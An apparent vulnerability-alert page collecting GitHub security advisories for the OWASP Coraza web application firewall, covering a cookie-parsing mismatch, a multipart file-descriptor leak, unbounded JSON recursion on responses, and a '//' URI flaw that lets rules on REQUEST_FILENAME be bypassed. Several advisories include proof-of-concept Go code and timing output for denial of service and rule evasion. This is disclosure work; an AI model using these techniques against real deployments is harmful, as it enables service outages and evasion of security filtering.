Where
-Infinity
0
Severity
4
AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. Prior to 3.8.1, internal/cookies.ParseCookies in internal/cookies/cookies.go handles boundary ASCII control characters and control-only or empty cookie names differently from several backend cookie parsers. An unauthenticated attacker can craft a Cookie header so Coraza indexes or drops a cookie under a different name or value from the backend application, causing rules targeting REQUESTCOOKIES or REQUESTCOOKIESNAMES to miss application-visible attacker data. Exploitation depends on the backend parser and affected rule scope, and interior control characters with inconsistent backend behavior are outside this advisory's remediation. This issue is fixed in version 3.8.1.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPARTSTRICTERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.

Details

internal/bodyprocessors/multipart.go, line 69:

go for { p, err := mr.NextPart() // ... temp, err := os.CreateTemp(storagePath, "crzmp") defer temp.Close() // wrong scope io.Copy(temp, p) }

Each iteration opens a temp file and defers its close. All of them stack up and fire together when ProcessRequest returns. 500 parts, 500 fds held simultaneously.

The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, Content-Disposition with filename=, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.

Fix is straightforward: call temp.Close() explicitly after io.Copy instead of deferring it.

PoC

Tested on v3.7.0 (db9850b), Go 1.25, Linux x8664.

Add this file at internal/bodyprocessors/pocfdtest.go and run:

text go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...

go package bodyprocessorstest

import ( "fmt" "os" "strings" "sync" "sync/atomic" "testing"

"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" )

func countFDs() int { e, := os.ReadDir("/proc/self/fd") return len(e) }

func TestMultipartFDLeak(t testing.T) { boundary := "testboundary" var sb strings.Builder for i := 0; i < 500; i++ { fmt.Fprintf(&sb, "--%s\r\n", boundary) fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i) sb.WriteString("\r\n") sb.WriteString("X\r\n") } fmt.Fprintf(&sb, "--%s--\r\n", boundary)

mp, := bodyprocessors.GetBodyProcessor("multipart") baseline := countFDs()

var peak int64 done := make(chan struct{}) var wg sync.WaitGroup wg.Add(1) go func() { defer wg.Done() for { select { case <-done: return default: n := int64(countFDs()) for { cur := atomic.LoadInt64(&peak) if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) { break } } } } }()

v := corazawaf.NewTransactionVariables() mp.ProcessRequest(strings.NewReader(sb.String()), v, plugintypes.BodyProcessorOptions{ Mime: "multipart/form-data; boundary=" + boundary, StoragePath: t.TempDir(), }) close(done) wg.Wait()

t.Logf("baseline=%d peak=%d spike=+%d", baseline, atomic.LoadInt64(&peak), atomic.LoadInt64(&peak)-int64(baseline)) }

Output:

text baseline=7 peak=506 spike=+499

The spike is ~1 fd per part. After ProcessRequest returns the deferred closes fire and it drops back to baseline.

Impact

- No authentication required. Any endpoint that accepts multipart uploads is affected. - fd exhaustion at ~6.8MB body (~65k parts). os.CreateTemp starts returning errors and MULTIPARTSTRICTERROR is set to 1. - CRS false positives / DoS. With CRS loaded, rule 200001 then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload. - Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either. - Scope. Affects all v3.x releases; the defer has been present since the multipart processor was introduced.

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The JSON response body processor parses response bodies with no recursion limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and that constant is -1. The guard in readItems only fires on == 0, so counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively dead on the response path. The request path is fine: ProcessRequest passes the configured limit (default 1024). There is no equivalent directive or default for responses.

Parsing a deeply nested JSON response is CPU-bound and its cost grows quadratically with nesting depth. A 512 KiB response (the default ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to process, keeping one core busy the whole time.

Root cause

internal/bodyprocessors/json.go

go const ignoreJSONRecursionLimit = -1 // line 51

func (js jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., plugintypes.BodyProcessorOptions) error { ... data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1 }

func (js jsonBodyProcessor) ProcessRequest(...) error { ... data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024 }

The guard and the decrement:

go func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error { if maxRecursion == 0 { // line 106 return errors.New("max recursion reached while reading json object") } ... iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126

Note that ProcessResponse discards BodyProcessorOptions (the parameter is ), so even a caller that wanted to set a limit on responses has no way to.

Why the cost is quadratic

Every nesting level re-parses the remaining nested document through gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2 (v3.7.0-55):

depth bytes ProcessResponse time 5000 30004 30 ms 10000 60004 119 ms 20000 120004 456 ms 40000 240004 2.18 s 87381 524290 12.09 s

Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the full range), which matches quadratic. Roughly 87,000 levels is the most that fits inside the default 512 KiB ResponseBodyLimit.

PoC

Save as internal/bodyprocessors/pocjsontest.go, then:

go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...

go package bodyprocessorstest

import ( "strings" "testing" "time"

"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" )

func nestedJSON(depth int) string { var sb strings.Builder sb.Grow(depth6 + 4) for i := 0; i < depth; i++ { sb.WriteString({"a":) } sb.WriteString("null") for i := 0; i < depth; i++ { sb.WriteByte('}') } return sb.String() }

func TestPoCJSONResponse(t testing.T) { proc, := bodyprocessors.GetBodyProcessor("json")

// Request path is bounded, response path is not. body := nestedJSON(5000) v := corazawaf.NewTransactionVariables() errReq := proc.ProcessRequest(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024}) errRes := proc.ProcessResponse(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{}) t.Logf("depth=5000 ProcessRequest err=%v", errReq) t.Logf("depth=5000 ProcessResponse err=%v", errRes)

// Quadratic scaling on the response path. for , depth := range []int{5000, 10000, 20000, 40000, 87381} { b := nestedJSON(depth) vv := corazawaf.NewTransactionVariables() start := time.Now() proc.ProcessResponse(strings.NewReader(b), vv, plugintypes.BodyProcessorOptions{}) t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start)) } }

Output on the reference machine:

depth=5000 ProcessRequest err=max recursion reached while reading json object depth=5000 ProcessResponse err=<nil> depth=5000 bytes=30004 time=30.3ms depth=10000 bytes=60004 time=119.3ms depth=20000 bytes=120004 time=456.1ms depth=40000 bytes=240004 time=2.185s depth=87381 bytes=524290 time=12.085s

Impact

This needs ResponseBodyAccess turned on and a backend that returns JSON (application/json). Reflection endpoints, download APIs that serve user-supplied content, and JSON error responses that echo back user input are all plausible ways to route a nested body back through the WAF.

The work happens in a single goroutine and is CPU-bound: the body is already in memory, so there is no I/O during the parse. Each such request holds one core for its entire run, about 12 s per 512 KiB body at the default limit. N concurrent requests take N cores. The request path has enforced a recursion limit since v3.3.3; responses never have.

Suggested fix

Bound ProcessResponse the same way the request path is bounded: add a ResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit instead of -1.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.04%
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

URLs starting with // are not parsed properly, and the request REQUESTFILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUESTFILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUESTFILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

go package main

import ( "fmt" "net/url" "os"

"github.com/corazawaf/coraza/v3" )

const testRule = SecDebugLogLevel 9 SecDebugLog /dev/stdout SecRule REQUESTFILENAME "@rx /bar/uploads/.\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"

func main() { var testURL = "//bar/uploads/foo.php"

if os.Getenv("TESTURL") != "" { testURL = os.Getenv("TESTURL") }

fmt.Printf("Testing URL: %s\n", testURL)

config := coraza.NewWAFConfig().WithDirectives(testRule)

waf, err := coraza.NewWAF(config)

if err != nil { panic(err) }

tx := waf.NewTransaction()

tx.ProcessURI(testURL, "GET", "HTTP/1.1")

in := tx.ProcessRequestHeaders()

if in != nil { fmt.Printf("%+v\n", in) } }

Impact

Potential bypass of rules using REQUESTFILENAME.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203